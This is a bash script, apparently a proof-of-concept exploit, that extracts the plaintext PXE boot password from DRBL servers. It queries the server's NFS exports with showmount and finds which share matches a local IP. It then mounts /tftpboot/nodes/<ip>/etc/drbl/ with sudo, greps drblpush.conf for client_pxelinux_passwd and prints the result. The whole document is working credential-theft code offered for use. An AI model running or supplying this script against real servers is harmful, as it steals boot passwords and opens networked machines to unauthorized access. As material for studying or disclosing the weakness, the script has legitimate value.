#!/bin/bash
#
# Script extracts plaintext PXE boot password from file drblpush.conf 
# located on NFS share ip_of_drbl_server:/tftpboot/nodes/your_local_IP/etc/drbl/
#

function checkbin {
 type -P showmount &>/dev/null
 [ "$?" != 0 ] && echo "Command 'showmount' not found, exiting" && exit
 ip="$1"
 
}
function grepip {
 if [ -z "$ip" ]; then
    i=1
     while [ "$i" != 0  ]; do
        echo -n "Enter IP address of DRBL server: "
        read ip
        echo "$ip" | grep "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$" &>/dev/null
        [ "$?" == 0 ] && i=0
     done
 fi
    showmount -a "$ip" | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" | grep -v "$ip" | uniq > ip_server.txt

ifconfig | grep -w inet | grep -v 127.0.0.1 | awk '{print $2}' | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" > ip_client.txt
}
function findpass {
 while read -r ipadd; do
    grep "$ipadd" ip_server.txt &>/dev/null
    if [ "$?" == 0 ]; then
       echo "Found NFS share '$ip:/tftpboot/nodes/$ipadd' matching your source IP: $ipadd"
       ipshare="$ipadd"
    fi        
 done < ip_client.txt

 if [ -z "$ipshare" ]; then
    echo "Warning! None of your source IP addresses have access to remote NFS shares"
    echo "Please, configure one of IP addresses below on interface which is connected to network with DRBL server and run "$0" again" 
    cat ip_server.txt
    rm ip_client.txt ip_server.txt
    exit 1
 fi

 [ ! -d mount_nfs ] && mkdir mount_nfs

 echo "Enter password for user '$(whoami)' to mount remote NFS share to directory 'mount_ntfs'"
 sudo mount -vvv -t nfs "$ip":/tftpboot/nodes/"$ipshare"/etc/drbl/ mount_nfs &>/dev/null 
 [ "$?" != 0 ] && echo "Mounting unsuccesfull, exiting" && exit 1

 rm ip_client.txt ip_server.txt 

 password="$(sudo grep 'client_pxelinux_passwd' mount_nfs/drblpush.conf | cut -d '=' -f2)"
 if [ "$?" == 0 ]; then
    echo "+++ Found PXE Boot client password: $password +++"
 else
    echo "PXE Boot client password not found"
 fi

 sudo umount mount_nfs/ &>/dev/null
 if [  "$?" == 0 ]; then 
    rmdir mount_nfs/
 else
    echo "Can't umount directory 'mount_nfs', try it manually"
 fi
}

checkbin $@
grepip
findpass